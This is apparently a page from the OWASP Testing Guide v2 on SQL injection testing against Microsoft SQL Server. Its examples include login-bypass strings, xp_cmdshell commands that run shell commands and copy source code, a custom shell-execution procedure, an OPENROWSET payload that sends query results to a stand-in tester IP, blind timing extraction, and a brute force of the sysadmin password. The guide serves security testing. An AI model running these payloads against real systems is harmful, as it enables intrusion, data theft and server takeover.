Testing for SQL Server
- 1 Brief Summary
- 2 Short Description of the Issue
- 3 Black Box testing and example
- 3.1 SQL Server Peculiarities
- 3.2 Example 1: Testing for SQL Injection in a GET request.
- 3.3 Example 2: Testing for SQL Injection in a GET request (2).
- 3.4 Example 3: Testing in a POST request
- 3.5 Example 4: Yet another (useful) GET example
- 3.6 Example 5: custom xp_cmdshell
- 3.7 Example 6: Referer / User-Agent
- 3.8 Obtain information when it is not displayed (Out of band)
- 3.9 Blind SQL injection attacks
- 3.10 Example 7: bruteforce of sysadmin password
- 3.11 Checking for version and vulnerabilities
- 4 References
In this paragraph we describe some SQL Injection techniques that utilize specific features of Microsoft SQL Server.
Short Description of the Issue
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.
As explained in SQL injection a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:
- Application parameters in query strings (e.g., GET requests)
- Application parameters included as part of the body of a POST request
- Browser-related information (e.g., user-agent, referer)
- Host-related information (e.g., host name, IP)
- Session-related information (e.g., user ID, cookies)
Black Box testing and example
SQL Server Peculiarities
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. There follow some useful operators and commands/stored procedures:
- comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
- query separator: ; (semicolon)
- Useful stored procedures include:
- [xp_cmdshell] executes any command shell in the server with the same permissions that it is currently running. By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
- xp_regread reads an arbitrary value from the Registry (undocumented extended procedure)
- xp_regwrite writes an arbitrary value into the Registry (undocumented extended procedure)
- [sp_makewebtask] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires sysadmin privileges.
- [xp_sendmail] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
- Implementing exploits with MS SQL functions
- Most of the examples use the exec function. Below we show how to execute a shell command that writes the output of the command dir c:\inetpub in a browseable file using xp_cmdshell (assuming that the web server and the DB server reside on the same host).
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And
'; select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=" + YOUR_IP_ADDRESS + "," + PORT + ";timeout=1',)--"
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where sa is the sysadmin and foobar his password, YOUR_IP_ADDRESS is the pen tester's IP and PORT the port number where he wants to receive this information. See [OPENROWSET]
- The following uses the function db_name to return the name of the database in an error.
Notice, the use of [convert]:
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).
- Environment variables: @@version
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.
There follow several examples that exploit SQL injection vulnerabilities through different entry points.
Example 1: Testing for SQL Injection in a GET request.
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.
Example 2: Testing for SQL Injection in a GET request (2).
In order to learn how many columns there exist
Example 3: Testing in a POST request
SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0
A complete post example:
POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1 Host: vulnerable.web.app User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:18.104.22.168) Gecko/20060909 Firefox/22.214.171.124 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50
The error message obtained when a ' (single quote) character is entered at the email field is:
Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '. /forgotpass.asp, line 15
Example 4: Yet another (useful) GET example
Obtaining the application's source code
a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
Example 5: custom xp_cmdshell
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
On SQL Server 2000:
- If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
- If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OADestroy @ShellID return @result
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:
master..sp_configure 'show advanced options',1 reconfigure master..sp_configure 'xp_cmdshell',1 reconfigure
Example 6: Referer / User-Agent
The REFERER header set to:
Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:
User-Agent: user_agent', 'some_ip'); [SQL CODE]--
Obtain information when it is not displayed (Out of band)
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [SQL injection]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.
Other options for out of band attacks are describe in Sample 4 above.
Blind SQL injection attacks
Trial and error
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([]) against this channel and watch the response. For example, if the web application is looking for a book using a query
select * from books where title=text entered by the user
then the penetration tester might enter the text: 'Bomba' OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability.
In case more than one error message is displayed
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:
- On some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated for instance by a query with unclosed quotes.
- While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers Internal server error or bad data.
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.
Another out-of-band method is to output the results through HTTP browseable
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., Bleichenbacher's attack). An attack of this sort is described by Anley in () from where we take the next example. A first approach uses the SQL command waitfor delay '0:0:5', for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the books database exists he will send the command
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
In fact, what we have here is two things: a SQL-injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, n, b)) & ( power(2, 0))) > 0 waitfor delay 0:0:5
will wait for 5 seconds if the nth bit of the name of the current database is b, and will return at once if it is 1-b. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!
However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example
declare @i int select @i = 0 while @i < 0xaffff begin select @i = @i + 1 end
Example 7: bruteforce of sysadmin password
One of the most useful commands in SQL Server (at least for the penetration tester) is the OPENROWSET command, which is used to run a query on another DB Server and retrieve the result. We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code:
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. Once we have the sysadmin password, we have two choices:
- Inject all following queries using OPENROWSET, in order to use sysadmin privileges
- Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.
Checking for version and vulnerabilities
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.
- Daniel Bleichenbacher: "Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1", CRYPTO 1998, pp1-12.
- David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
- Chris Anley, "(more) Advanced SQL Injection", whitepaper. NGSSoftware Insight Security Research Publication, 2002.
- Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
- Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
- Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
- Francois Larouche: Multiple DBMS Sql Injection tool - [SQL Power Injector]
- icesurfer: SQL Server Takeover Tool - [sqlninja]
OWASP Testing Guide v2
Here is the OWASP Testing Guide v2 Table of Contents